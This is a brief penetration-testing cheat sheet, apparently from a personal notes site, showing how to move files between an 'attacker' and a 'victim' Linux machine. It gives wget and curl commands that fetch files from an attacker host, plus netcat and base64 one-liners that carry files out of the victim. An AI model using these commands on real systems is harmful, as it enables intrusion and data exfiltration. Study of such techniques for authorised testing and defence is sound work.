Logo
Notes Directory
On this page

Linux File Transfer

Linux File Transfer

Upload file from attacker to victim

To use the wget and curl options, you need to host the files on your web server using python3 -m http.server

Wget

Terminal window
wget http://attacker_ip:port/file

Curl

Terminal window
curl http://attacker_ip:port/file --output file

Download file from victim to attacker

Netcat

On Victim:

Terminal window
nc -lvp 4444 < file.zip
or
busybox nc -lvp 4444 < file.zip

Attacker Machine:

Terminal window
nc victim_ip 4444 > file.zip

Base64

Note: If the file is relatively large, consider using this method carefully as it will produce a very long output.

On Victim:

Terminal window
cat file.zip | base64 -w 0

Attacker Machine:

Terminal window
echo -n '<base64>' | base64 -d > file.zip